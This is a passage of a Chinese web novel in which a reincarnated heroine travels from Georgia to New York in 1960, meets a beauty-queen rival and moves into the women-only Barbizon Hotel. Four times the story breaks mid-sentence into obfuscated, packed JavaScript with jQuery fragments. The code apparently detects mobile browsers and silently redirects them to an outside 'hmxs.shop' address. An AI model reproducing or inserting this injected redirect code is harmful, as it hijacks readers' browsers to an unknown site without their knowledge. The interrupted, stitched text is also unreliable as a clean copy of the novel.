当然,这也比丽莲上辈子买衣服贵多了,主要是缺少特别平价的选项(除非买二手)。这也没办法,这个时候纺织业原材料基本上还是天然的,人造纤维也有,但并不多见,也不见得便宜(比如制作丝袜的尼龙,制作紧身内衣的氨纶)。
而制衣工序上,越来越多的机器参与没错,可人工还是用的很多...这些都是导致成本没办法进一步压缩的原因。
不过这样也有一个好处,就是此时的衣服不能算是一种快消品。一件衣服大家会尽可能地穿久一些,即使是会购买大牌服饰的富裕中产家庭也不例外。
“这也没办法,如果没有好一点的衣服,根本没办法找工作呢...这年头就算是餐厅女服务生,也要求应聘者穿着得体。”听到妹妹的感概,去过一趟纽约的珍妮弗无奈地说。
华莱士家的经济情况还不错,虽然摩天轮经营者不算体面职业,但收入上是达到中产水平的。然而就是这样,出发去纽约之前,家里为她准备的服装也差得远——不少《少女》杂志客座编辑的行李箱都让她咋舌。
这也算是这个时代女性的负担之一了,进入职场不只是选择受限,有各种各样装都不装的性别歧视,还对她们的形象要求很高。如此,衣服和化妆品就得花不少钱,每天用这些一丝不苟地‘武装’自己更是要花大量时间......
“听起来很糟糕,我是说,上班的姑娘们真的能攒下钱来吗?如果攒不下来钱,干什么还去工作呢?”玛丽的想法是务实的。
珍妮弗听了妹妹的话却笑了:“亲爱的,当然不可能攒下来钱!也不需要...大家只要在工作的几年里打扮得漂漂亮亮,然后给自己找一个能在郊区买下小别墅结婚的丈夫就行了。”
丽莲也听到了珍妮弗的话,不知道该怎么说...她当然不可能认同这样的观点,可是面对两个在这个时代长大的姑娘,她也很难居高临下地输出自己的想法。
就这样买好了东西,丽莲是在8月20日这天下午,先坐华莱士家的车到亚特兰大,然后乘火车——如果乘飞机,这段旅程会快得多,三个小时不到就能到达目的地。但六十年代初,乘坐飞机绝对是高消费,从亚特兰大到纽约,单程也要一百美元出头。
相比之下,火车则是便宜得多的选择,卧票只要二十块左右...对比丽莲上辈子,简直倒反天罡!丽莲上辈子,美国很出名的就是乘飞机往往比火车便宜,尤其是亚特兰大和纽约之间火车班次还比较少,飞机票可能只有火车票十分之一不到(廉航的话)。
丽莲和玛丽一家人道别、安顿行李,直到火车开动才能坐下。这时候她才发现,和自己同车厢的人里居然有一个熟面孔!
“嗨!你也去纽约吗?”对方比丽莲先一步打招呼。
这是个金发的漂亮姑娘,名叫露丝,丽莲之所以认识她,是因为她是萨凡纳河节时选出来的‘嘉年华会女王’——可以认为这就是一种选美比赛。此时选美活动非常常见,大概是因为电视媒体还没能让全国看一个选美?总之地方选美非常有市场,也不缺赞助。
丽莲在萨凡纳嘉年华卖饮料时,‘嘉年华会女王’就负责穿上礼服、戴上王冠四处巡礼,也算是嘉年华的一部分吧。
“是,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619178|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纽约的机会比萨凡纳多。”丽莲简单解释了一下。
这个不用说更多,对方作为一个年轻姑娘,一个人搭上了去纽约的火车,肯定也是抱着打拼的想法的,同样的目的省了丽莲解释的功夫。
不过对方倒是比丽莲更健谈,和丽莲解释了自己的情况:“...这次选美比赛的奖金是600块,拿到这笔钱我第一时间就决定要去纽约——萨凡纳太小了,而且死气沉沉的!在那里,如果没有一个足够出色的家庭,即使是最漂亮的姑娘也前途有限。”
“纽约就不一样了,纽约机会很多,是实现梦想的地方...那里有那么多的百万富翁,我只要能俘获一个就够了!”
露丝曾经很敌视丽莲,在丽莲之前,她一直是萨凡纳公认的最漂亮的姑娘,但随着丽莲进入大家的视线,一切就变了。不过既然对方没有参加她瞄准的选美比赛,现在她选美比赛胜利,已经坐在了去往纽约的火车上,那就没什么了。
虽然她们的目的地都是纽约,可纽约那么大,富翁那么多,美女也那么多,并没有那么强的竞争性——在五六十年代的美国,抱着和露丝一样想法的‘选美皇后’很多。她们用奖金去了纽约,然后拿一个选美皇后的名头做敲门砖,一般都能靠美貌在这个大都市生存。
最好做模特或者广告演员,差一点就要去大型夜店做歌舞女郎了。
不过这样的工作虽然能让她们看起来光鲜,仿佛名媛一样生活,但却不可能存钱。所以说到底还是得趁年轻貌美钓金龟婿,这不是这时候的姑娘们‘不思进取’,而是整个社会的环境推着她们这样。
二战后,随着男性回归社会生产,原本已经普遍进入职场的女性被要求回归家庭。这股潮流导致了四十年代末到六十年代初的女性,她们比三十年代的前辈们更受限,也在社会的规训下更加保守。
结婚就是一切,一切为了结婚。一个漂亮女孩要想改变人生,中间固然要经过一番努力和机缘,但依靠这些得来的资本也只是为了拴住一个多金的男人。
13.巴比松大饭店(4)
从亚特兰大乘火车去纽约将近20个小时,这也是丽莲买卧铺的原因,这么长的时间,省钱也不能买坐票啊。
她是下午上的车,大约下午4点半火车发车。这时时间还算早,过了一会儿她才开始吃自己的晚餐——是玛丽的母亲,华莱士太太做的牛肉三明治,再加上一瓶柳橙汁,谁能说这不是一份完美的晚餐呢?
露丝则是去了餐车,回来时是由一个穿深色外套的男人送回来的,看起来他们刚认识。丽莲能看出那个男人很兴奋,想要更进一步认识露丝,但露丝表现得颇为矜持,三两句话就打发走了他。
这个男人第二天也来找露丝了,那个时候是上午9点左右。丽莲早就起床洗漱完毕,还去餐车吃了简单的早餐,回来的时候就看到露丝和那个男人在她们车厢隔间门口说话。
看到丽莲,露丝似乎想到了什么,为他们介绍道:“布朗先生,这是富尼叶小姐,我的同乡,我们都要去纽约,还同样预定了巴比松饭店的房间——亲爱的,这位是布朗先生,昨天在餐车认识的,他帮了我的忙。”
丽莲和露丝确实都要住巴比松饭店,这一点昨天她们简单聊聊时就确定了。
丽莲这次去纽约,人生地不熟,肯定要先找个旅馆落脚。如果她是个男人,倒是不需要提前考虑这些,到地之后稍微打听一下就能找到合适的了。而且就算不合适,也最多损失一点儿金钱,但她是个女人,这年头就得小心谨慎了。
首先,她就不可能去住便宜的汽车旅馆,按照当下人们的认知,女人就只有妓.女会住在那里(虽然这不是事实)。就算她不在乎不认识的人的目光,一个年轻漂亮的单身女人,也得有基本的安全意识......
当然,太贵的酒店她也是不考虑的...就这样,在玛丽姐姐珍妮弗的推荐下,她就决定了要去巴比松饭店——珍妮弗之前去纽约做《少女》杂志的客座编辑,就和其他客座编辑被安排住在了巴比松饭店,她对那里评价颇高。
更重要的是,那是一所只接受女性住客的酒店,男性一般都不被允许入内(除了大堂和19楼会客室)。这在1960年的美国,能给丽莲带来不小的安全感...这可是个不把骚扰当骚扰,很多女性自己都没意识到这有问题的年代!
更别说鱼龙混杂的大都市里,表面的繁华和实际的治安不是一回事!
一家住客都是来历清白的女性,管理甚至类似学校女生宿舍的酒店,怎么看都把风险降到最低了。
至于露丝也选了巴比松饭店,这也不是什么巧合,纽约不止一所单独面向女性的酒店,但巴比松饭店确实卓有声誉。很多有野心,想去纽约做模特、演员的美女(当然,最终目的大多是和有钱人结婚),都选择了巴比松饭店。
这方面,露丝有足够多的‘前辈’,洛林·戴维斯(佛罗里达柑橘皇后出身,四五十年代知名模特,广告演员、电视节目导购等)、菲利斯·柯克(匹兹堡小姐出身,如今已经演上电视剧女主角了)、卡洛琳·沙夫纳(斯托本维尔皇后出身,知名模特,还是王妃格蕾丝·凯莉的好友)......
本来最有名的王妃格蕾丝·凯莉也应该是‘前辈’之一的,她没出名前很长一段时间也住巴比松饭店。不过她属于住巴比松饭店的另一类人群——纽约以外一些地方的‘名媛’,字面意义上的名媛,出身都很好。
这类女孩来纽约,可能是想享受大都市生活、进入纽约上流社会的圈子交际,但这边没有可靠的亲戚,只能住酒店。也可能有自己的事业心,想要成为演员、音乐家、画家什么的,便一个人离家打拼...格蕾丝·凯莉就属于这种。
巴比松饭店也很努力经营自己的名声,面向年轻女性的杂志上经常可见到它的身影,即使是萨凡纳这种小城的姑娘,也会知道多少个地方选美皇后曾入住巴比松,然后又获得了成功——露丝正是感受到了这种榜样的力量,才决定要去巴比松的。
“是,上午好。”在露丝的介绍下,丽莲停下了进车厢的脚步,冲‘布朗先生’轻轻点了下头。
‘布朗先生’愣了愣,然后就更加殷勤了,丽莲和露丝回隔间里呆着后不久,他就抱了一大袋的吃喝过来,里面甚至有一瓶冰镇过的香槟!
“真抱歉,我已经吃过早餐了...”丽莲没有吃东西,更没有在单身一个人的情况下喝陌生人的酒的意思(显然露丝还算不上她的同伴)。
露丝倒是不太在意,笑着用芝士、薯片下酒,笑吟吟地同‘布朗先生’说话,似乎是拿这打发时间了——大约12点时,这一趟火车终于到纽约了!
丽莲也稍微整理了一下,就要拿行李箱...她有一个硬质的行李箱和一个皮革的行李袋,这年头的行李箱又不带万向轮,自己拿就比较辛苦。不过还没等她动手,立刻就有人展现绅士风度帮她了,这一点露丝也是如此。
这倒不是此时的男性更有绅士风度,纯粹就是‘美□□待’。
“您接下来要呆在纽约吗?落脚在哪儿呢?”帮丽莲拿了行李箱的男人非常兴奋,大有想要一个后续的意思。
对此,没有把自己另一个行李袋让人给‘抢走’,而是自己提着的丽莲,只是静静地垂下眼睛,并不说话。这就是无声的拒绝了,但提行李箱的男人没有感到不满,反而有些结结巴巴说不出话了——说实话,他真没想到一次火车之行,能遇到这样的美女!
别说现实生活中了,就是电影里、海报上,他都没见过如此吸引人的尤物!
她美吗?这是当然的,丽莲这辈子的长相与身材正是这个年代最为迷恋的美女标杆,娇媚、绝对女性化,波光艳影几乎要灼伤眼睛,根本不能长久目视,呼吸之间就要撩动情.欲。但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626459|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与此同时,她的姿态坦白得像是圣女,便让人只能远观不敢亵玩。
这很大程度源自她上辈子作为华夏新时代女性,习惯上的自尊自爱自立,本能在拒绝利用自身的美色...很难讲这是不是一种矫情,但表现在她身上,不是修女式的保守与无趣,纯是凛然不可犯的姿态、艳丽得严谨,以至于增强了本就无与伦比的冲击性。
她自己都不知道,这有时会让注视她的人一厢情愿地幻想她是在欲拒还迎。然而可悲的是,即使预设她是在玩欲拒还迎的把戏,也不敢轻举妄动,不能越雷池一步(很难讲,之前她在拉斯维加斯做歌舞女郎时,觊觎过她的人,也没能走上强取豪夺这一步,没有这种心理的原因)。
之后到丽莲打到出租车,这位先生都没机会和她真正说上话,也没能上那辆出租车...当然,最后丽莲还是说了‘谢谢’的。
这个时候露丝也上了出租车,是和布朗先生一起的,布朗先生执意要送她。丽莲没有和她同车,部分原因是两人还没熟到那份上,另外也是因为两个人的行李,再加上三个乘客,对此时一辆普通的出租车来说,确实有点勉强了。
不过虽然没有同车,但抵达巴比松的时间是差不多的。
巴比松位于曼哈顿东63街、140号,靠近列克星敦大道(这其实就是第五大道的一部分,第五大道不同路段有各自的名称,就像一条大河在不同河段有不同的名字一样),位置相当优越。丽莲从火车站到这里,一路看到的都是曼哈顿繁华。
说实话,这样的街景和她上辈子看到的城市景观差别也不大,一样都是摩天大楼、车水马龙。这还和她之前在拉斯维加斯见到的不一样,拉斯维加斯以赌业为中心,除了赌场及其附近,其实就是沙漠,而且繁华地带也不是丽莲熟悉的城市面貌,更像是一个复古嘉年华被固定下来的样子。
要说这时候的纽约(主要是作为精华的曼哈顿),有什么比不上后世华夏大城市的,大概就是噪音了...真的、真的太吵了!
这个年代的车子噪声大的惊人,再加上曼哈顿的窄车道,在两侧高楼大厦的反射下,噪声简直是一浪接着一浪——纽约的车道还是比欧洲城市的老街宽,但和几十年后的国内没法比,曼哈顿这边甚至基本都是单车道!
另外,缺少可以吸音的绿化带估计也是原因之一?丽莲入目所见,反正是没有绿化带的。她还记得,曼哈顿有一个中央公园,绿化面积挺可观的。不过转念一想,相比起分散的绿化带,这种集中在一起的城市公园,其实对吸音没什么用吧?
当然了,或许有着这样那样的问题,但身处这个时代最发达的城市,还是让丽莲有一种重回现代都市的感动!就是一种她是独立自由的个体,然后广阔天地、大有可为的感觉——上辈子大学毕业后,去到工作的沪市时,她就是类似的感觉!
14.巴比松大饭店(5)
巴比松饭店这样女子公寓式酒店在纽约并不是独一份,实际上20世纪初就有这类酒店了。
当时是美国出现了第一批城市‘女性白领’,有别于此前的女工,她们不能住带有慈善性质的女子寄宿公寓——慈善意味着租给她们的房间比市面上差不多的更便宜,一般这种房子都属于一个年长的女房东,她们还会管理寄宿在自己这里的姑娘们。
便宜不是什么坏事,几十年后有这种房间,很多人是抢着租的。但在那个时代,事情没那么简单,必须要知道的是,女子寄宿公寓当时已经和女工绑定了,在资本主义世界,尤其是20世纪早期的资本主义世界,这就意味着‘低人一等’。
新出现的女性白领对应的是男性白领,就应该属于中产阶级,而不是工人阶级...至少她们自己是这样相信的,也就追求类似的条件。
再说了,寄宿公寓非常不自由,毕竟你享受了‘慈善’,就得服从这个社会对女性的诸多传统要求(当时将这些慈善给予女性,就是默认她们是传统社会那种‘好女人’,是受保护的,也是靠保护才能生存的‘弱者’,不然就没必要了)。
新时代的都市女性白领可受不了这个,脱离家庭一定程度就是为了享受自由自在、甚至显得刺激的独立生活的——对这个时代的年轻女孩来说,在大城市独立生活确实很刺激了,这又是21世纪的女性很难想象的。
而住普通公寓又有着种种不便(稍微便宜一些的,难免为其鱼龙混杂担心,而且服务也寥寥,但高档公寓就得考虑能否负担了),于是一些人就想到了公寓式酒店。
专为女性的公寓式酒店?一些人觉得这听起来过于超前了,一些人却觉得这大有可为。
这二者不见得有才智上的差异,不过后者确实踩对了时代风口,所以这门生意真的做起来了。之后,至少纽约接连涌现出这类女子公寓式酒店,比如巴比松饭店就是在美国第一波女权浪潮兴起的二十年代末开业的。
巴比松在当时也是很有特色的了,因为不同于前辈们笼统针对‘女性白领’这个用户群,她们主要针对的是‘艺术生’——渴望独立和实现梦想的富家女,或者出身小镇,除了美貌外别无所长的选美皇后,她们的目标是成为模特、演员、音乐家、画家等。
从这个角度来说,露丝选择巴比松简直顺理成章,丽莲的话,也算有道理——谁能说作家和编剧不算艺术生呢?
而这样一座酒店,从外观来说就很风格化了。即使二十年代流行的装饰主义建筑放在现在,每一座都算艺术品,巴比松大饭店那种内含罗马式的哥特风,也够让人耳目一新的...据说当年开业时,就得到了盛赞。
丽莲也很欣赏这座酒店的外观,这让她想起了电影《罗密欧与朱丽叶》里的建筑,不一样,但有一种气质上的相似。优美、典雅又清新,有一种女性化的文艺范儿,也是很符合巴比松大饭店的调性了。
丽莲和露丝走下车,先看了这栋高23层的酒店一眼(是的,整栋楼都是巴比松大饭店,里面总共有七百多个可供住宿的房间呢)。这个时候刚刚过来给她们开车门的门卫,已经在出租车司机的协助下,拿下了她们的行李,放在了行李推车上。
行李推车另有服务生负责走隐蔽的侧门送入,当然,具体送入哪里是不一定的,还要等她们见过梅·西布莉夫人再说——梅·西布莉夫人是巴比松大饭店具体的管理者之一,负责非常重要的对外工作,是外界与酒店之间的一座桥梁,嗯,有时也会是一堵防护墙。
如一个女孩能否住进酒店,就要看她怎么说。
巴比松大饭店可不是后世有钱就能住的那种酒店,除了满足是女性这一基础条件,以及确定付得起房费外,还有很多隐形的门槛。从这一点来说,倒是更具公寓特征了,丽莲上辈子时酒店不怎么会卡住客,公寓主人会挑选租客,并且设定一些规矩(比如不准养猫狗什么的),就很正常了。
“是的,姑娘们,你们还要去见见西布莉夫人,不过别担心...虽然现在酒店房间很紧张,但你们这样的漂亮姑娘不会没地方住的。”门卫中矮个子的那个,在丽莲和露丝从旋转门走进巴比松前,微笑着祝福她们。
每年八月份确实是巴比松的旺季,因为这个时候会有一批女大学生会在这里短暂过渡,方便找到接下来几年上学时住的地方。每当这个时候,梅·西布莉就会格外挑剔顾客,哪怕有介绍信的顾客也有可能以‘客满’为理由拒绝。
至于挑剔的方面,倒不是这位客人是否富裕,实际客房的开价是由房间的档次决定的,客人富裕也不会为此多付钱。不过,如果客人来自名门望族,有一个显赫的家世,那也是加分项,足够巴比松为她们大开方便之门了。只是如果是普通的有钱而已,确实不见得有用。
梅·西布莉真正挑剔的是这些姑娘们的外表,一般来说,越漂亮的姑娘越容易得到她的认可。
这并不是梅·西布莉有什么怪癖,而是巴比松的经营之道——虽然打着女性独立的招牌,但作为经营者,他们很大程度上是将这里的住客物化了。巴比松的招牌,除了酒店本身,也在于这里的住客,她们是美丽,甚至梦幻的!
这给巴比松增光添彩了,同时也让更多的年轻女孩对这里更加趋之若鹜,仿佛住进去了,自己也就和其他‘巴比松女郎’一样魅力无限了...这也算一种相互成就?这让人想到后世给大牌代言的明星,就是互相蹭流量嘛。
“是的,没问题,这封介绍信都没问题...至于您,富尼叶小姐,您的确有过预定,嗯,一切得等你们见过西布莉夫人再说。”前台一位长相甜美的女士在丽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632302|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
莲和露丝走进来后,确定了她们的预定,以及露丝的介绍信(好像是萨凡纳嘉年华女王选美的主办方,某位知名人士给她开的?)。
丽莲没有介绍信,不过她不觉得这是问题,毕竟按照此前珍妮弗对她的说法——介绍信或者美貌,二者有其一就够了,甚至过了女学生找房子时的过渡期,只要有空房间,普通的女住客也可以住进去。
实际也是这样,有人去叫了西布莉夫人,西布莉夫人只是看了露丝和丽莲一眼,就没有说更多了,确认了她们的入住——她们都要了相对较贵,但附带独立卫浴的房间。而大概是因为刚好有空房间,还都被安排在了10楼。
“...好的,小姐们,我想你们或许听过一些巴比松的规则,但在你们入住之前,我还是要告知一二。”西布莉夫人说这些的时候很严肃,仿佛这是至高无上的法律:“首先,我们严查炊具,无论是明火的野营炉,还是电炉,全都禁止,一旦被发现,酒店都有权没收。”
丽莲心里点头,没错了,是熟悉的大学宿舍味儿!
“吹风机和做日光浴的大灯,也都不允许...它们可能导致同层跳闸,更不要说电路起火了。”这年头的电路是这样的,哪怕是酒店,也很难承担大功率电器,尤其考虑到这是一座建于二十年代的酒店,当时也没什么大功率电器,就更没法指责什么了。
丽莲现在只觉得大学宿舍的味儿更浓了。
“还有,我们是有门禁的,最好不要深夜外出。”
当然,这里说‘最好不要’,隐含意思就是偶尔为之也是可以的。这不奇怪,巴比松确实是一所号称‘女性庇护所’的酒店,但住在这里的姑娘们大多目标也是结婚。这样就少不了各种各样的约会,所以偶尔的深夜外出、甚至彻夜不归也就成了心照不宣的事了。
此外,诸如房间里不能有酒之类的规定,丽莲和露丝都只是听听而已了。在丽莲看来,这就类似有的大学宿舍里,不能带饭进去吃的规定,规定是一回事,实际根本不可能实行——美国是一个喝酒很凶的国家,禁酒令之后更是如此,女人,尤其是走‘艺术路线’的女人,这方面相对男人也不遑多让。
“最后,你们都知道的,禁令中最重要的,绝对不可以违背的,就是不能将男人偷偷带进来。这是你们都知道的,但我不得不着重强调。”
说完了这最后一条禁令,西布莉夫人才对她们介绍起了巴比松的一些‘福利’——除了她们自己的房间,以及附带的房间服务外,她们还可以去好些公共空间。公共空间内,游泳、打球、演奏乐器、看电视等,应有尽有。其中有的会少量收费,有的则完全免费。
“...我们每晚还有集体活动,纸牌、国际象棋什么的,可以选择参加,也是不收费的。另外,住客都有免费的下午茶......”
15.巴比松大饭店(6)
经过梅·西布莉夫人的面试与告诫后,丽莲和露丝就能去看房间了。她们乘坐电梯,直达了10楼,比较让她们意外的是,电梯员居然是男性...原来在她们的预期中,巴比松大饭店的工作人员也应该全都是女性才是。
嗯,或许要除去门卫之类不能进入真正的内部,以及需要力气的?但至少电梯员她们想不明白,为什么是男性。
“很惊讶吗?”陪她们一起来的前台工作人员看出了她们的惊讶:“嗯,不过不用担心,亨利他们只上白班,晚上的电梯员就都是女士了...好了,我们出去吧,你们的行李应该先一步送到房间里了。”
随着电梯到达10楼,首先是露丝的房间,她的房间相对靠近电梯。然后是丽莲的房间,几乎在走廊的另一端了。
到了之后工作人员将钥匙拿出来开了门,然后请丽莲进去,并把钥匙交给了她:“这是您的钥匙,请小心保管,不要交给任何人...您出门时也可以托付前台暂存。”
接过钥匙,等人走了,丽莲才开始打量这间不大的房间。说实话,这里并不大,除了一张单人床,以及床边附带的小床头柜,就只有一张小写字台在靠窗的墙边,以及一把法式风格的象牙色扶手椅斜着摆放了。
房间里一览无余,丽莲又去看卫生间,这也没什么花头,只有一个马桶、一个盥洗台面,以及淋浴设施——没有浴缸,从酒店的小册子来看,也有一些最好的房间是有浴缸的,那也代表着盥洗室会是丽莲这个两倍大。
丽莲不习惯用酒店的浴缸,所以有一个淋浴喷头已经心满意足。而且光只是这也,一个礼拜就要花40美元了,她也不想再花冤枉钱。
是的,这样一个房间,在巴比松大饭店要40美元每礼拜。而这甚至不能说很贵,因为酒店位于上城区,曼哈顿的上城区,哪怕租一个单身公寓,一室一厅带厨卫的那种,此时也最低在每月90美元以上了!
放在丽莲上辈子,她反正很难想象,一线大城市市中心一室一厅的单身公寓每个月9000块租金,而差不多地段的知名酒店,附带独立卫浴的房间,每个礼拜的房费只要4000块(即一个月不到两万)——从这个角度来说,巴比松堪称实惠。
也难怪挺多住在这里的女士,找的是办公室的工作,收入并不算高,安定下来后也没有选择租房,而是继续住在这里。住在这里是贵一点,但一方面能抬高身价,另一方面日常生活也会轻松很多(酒店不用自己付水电费,还有保洁人员打扫卫生,住公寓除非雇个女仆,不然可是要自己做事的)。
另外,还有一些巴比松的隐形福利可蹭,这更是不必细说的——公用的设施、免费的下午茶、住客们组成的优质人脉、不必再付钱或者付钱很少的俱乐部......
丽莲思索着这些,打开已经放进房间的行李箱和行李袋,将一些最好拿出的东西都拿出来并整理好。
差不多做好时,正好有人敲响了她的房门。打开门,是一位气质活泼、高个儿、淡金色头发的姑娘,微笑着对她说:“嗨,希望没有打扰到你,我刚刚听到了你们进来的动静...我是你的邻居,就住在你的左边,我想我们可以认识一下。”
“我叫多萝西,多萝西·布鲁斯,来自西雅图,你呢?”
对方表达了友好,丽莲不可能不接,于是也做了一个简单的自我介绍。之后她们还聊了聊,所以她们都知道了对方之所以会来到巴比松的理由——多萝西是个有演员梦的女孩,现在正在百老汇跑龙套,而丽莲来纽约是为了攒自己的大学学费。
“哦,攒学费的女孩儿是吗?我之前也认识过一个,她是住6楼的,想去罗德岛设计学院...我听说那是一所好学校,不过在认识那姑娘之前,从来不知道这所学校的名字,这事儿真有趣,是不是?”多萝西咯咯笑了起来。
“现在那姑娘搬出去了,好像是和人合租住到了切尔西...也对,巴比松还是太贵了,可不适合要攒钱的人,一旦稳定下来这类人都会搬出去的。”多萝西凝视着丽莲说,仿佛是在猜测她什么时候也会离开。
丽莲笑了笑,想说什么的时候,露丝过来了,她大概是整理完毕了,又暂时无处可去,就来看看丽莲这个‘同乡’。
她打了个招呼,又和多萝西认识了一下,就将目光投向了丽莲的房间。扫了一圈有些嫉妒地说:“你的房间显然更好!我的窗子几乎是对着另一堵墙的,你的却能看到漂亮的城市景色!”
她们出的钱一样、选的房间档次一样,露丝当然有资格为此不爽,不过这不是丽莲的错,她也就没有接这个话。大概也是这个原因,之后没说几句话,露丝就离开了。
多萝西耸了耸肩:“一个有些急躁的小妞,不是吗?其实这种事在巴比松很常见,谁也不知道这是随机的,还是西布莉夫人的安排。不过这也没什么...对了,快到下午茶时间了,我们可以去餐厅,也可以去别的小厅,这是免费的。”
丽莲没有吃今天的午饭,毕竟那个时候正是刚从火车上下来的时候,这时候当然乐于蹭一顿免费的下午茶,就和多萝西去了她常去的一间独奏厅。这里有一架风琴,可以演奏,最初就是酒店的乐器演奏厅之一。不过现在这里也放了一台电视,也就成了电视厅之一。
由于大家对电视的喜爱远超过风琴,现在基本都是叫它电视厅了。
丽莲她们到的时候,这边已经有十来个女孩了,丽莲有些惊叹地说:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636919|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我今天遇到太多金发姑娘了,可能比我在老家萨凡纳十几年加起来认识的金发姑娘都多。”
说起来露丝就是金发,多萝西也是,之前在酒店大堂时丽莲就有注意到了,进进出出的女孩儿们,金发姑娘比例大的惊人——这显然是不正常的,虽然上辈子时大家总用‘金发碧眼’代指外国人,但实际的金发、蓝眼是很少见的。
“毕竟这里很多姑娘都选美小姐,目标是成为模特、演员什么的。”多萝西不以为然地说:“这注定了她们很多都会是金发,哪怕天生不是,也可以染发...染发,这真是一项伟大的发明,不是吗?”
说到这里,多萝西有些得意:“我的金发可是天生的,这省了很多事儿,我听很多女孩抱怨过新长出来的头发是深色的,那很显眼。所以为了美观,她们得经常去补染发根,而经常染发又使她们的头发变得脆弱...”
多萝西还看了看丽莲的头发,赞叹地说:“你不也是金发吗?多美的深金色...其实我一直希望我的头发是深金色的,浅金色虽然被人嫉妒,但要我说很容易显得苍老。尤其天生的浅金色,往往眉毛也是浅色的,在我读中学的时候不能化妆,那样的眉毛总让我显得没精打采。”
“深金色?不,我这是栗色...而且深金色算不算金色还有的说呢!”丽莲下意识摸了摸自己的头发,摇头说道。
这年头美国人对女性的金发迷恋无需多言,看看玛丽莲·梦露、格蕾丝·凯莉...一切就全都明了了。丽莲这辈子小时候其实也是金黄色的头发,不过随着年纪增长,头发颜色一路加深,过了14岁后,基本就固定到了现在这种颜色,一种油亮的、有些像深金的栗色。
她对这个颜色没什么不满的,这很像罗密施劳德版茜茜公主头发的颜色,光泽也像——某种程度上,这也是她留长发的动力之一,虽然她不可能留到电影里那个长度。
对于‘深金’是金发,还是棕发,多萝西并没有说什么,主要是这太主观了。或许在以前,没有染发技术时,深金也算金发?但到现在,这确实是个模糊地带。能够人工染出金发后,由于人们对金发的迷恋,关于金发大家会层层加码是很符合人性的。
迷恋一个特征,一开始或许会相对适中,但后来往往会越来越极端。就像大家一开始喜欢苗条的女孩,于是女孩们越来越瘦,到了‘骨感’是称赞人,甚至‘纸片人’之类的说法都来了。
金发的话,看看金发的标志性人物梦露吧,她的金发是染的,但最初的时候,也只是正统的‘金黄’而已,后来就变成了淡金色(也就是北欧更常见的那种),最后到了几乎是白色的地步——梦露的化妆师给那种颜色命名为‘枕头白’,也是一时风行。
16.巴比松大饭店(7)
“哪个?就是那个,穿蓝裙子的。”
“我看不大清,眼镜落在房间里了...说的是亨利提到的那个新来的吗?我很怀疑他是不是午餐时喝大了,你该听听他是怎么说的——他说那是个前所未有的‘绝代佳丽’,他来真的?在巴比松这样到处是漂亮姑娘的地方,形容一个年轻女孩是绝代佳丽?这会引起很大争议的,甚至可能给那女孩带去麻烦。”
“你说得对,有些女孩会想打破那女孩的头的,不过说实话,我觉得不会有太大争议...我看到那女孩了,‘说大话的亨利’难得诚实了一次,喔!瞧瞧那双眼睛,我从未看过那样美丽的蓝眼睛。”
“确实是个可人儿,她是哪儿的?城里总不能突然冒出这样一个尤物吧?我有一种预感,她接下来会成为社交界的大话题的,无论男人、女人,只要见过她就没法不谈论她了——话说,她用的什么口红,我喜欢那个颜色。”
“我猜那不是口红的原因,我最近在杂志上看到一个说法,同一支口红本来就会因为使用的人不同,在显色上有微妙的不同。当然,多数情况下微不可察...但总有例外不是吗?”
“我听说她来自佐治亚,纽约就是这样的,当然不会有土生土长的佳丽突然出现,但总有地方上雄心勃勃的选美小姐来此。不过她真是选美小姐出身吗?如果我是提供奖励的主办方,可不会放任不管,只给一点儿奖金加一个试镜机会,这样的女孩应该有特殊待遇才对。”
“哦,佐治亚,那儿出美人!我说她怎么有些南方美人的轮廓。”
丽莲和多萝西还挺投机的,所以在下午的下午茶后,她们又约好了一起出去吃晚餐。而就在丽莲换好了出门吃饭的衣服走出来,在大堂和多萝西汇合时,已经被很多人看在了眼里——大堂沙发上,还有楼上夹层的护栏旁,都是休息、闲聊的女士们。
丽莲作为巴比松的新住客,以极快的速度出名了,不少人都在谈论她。
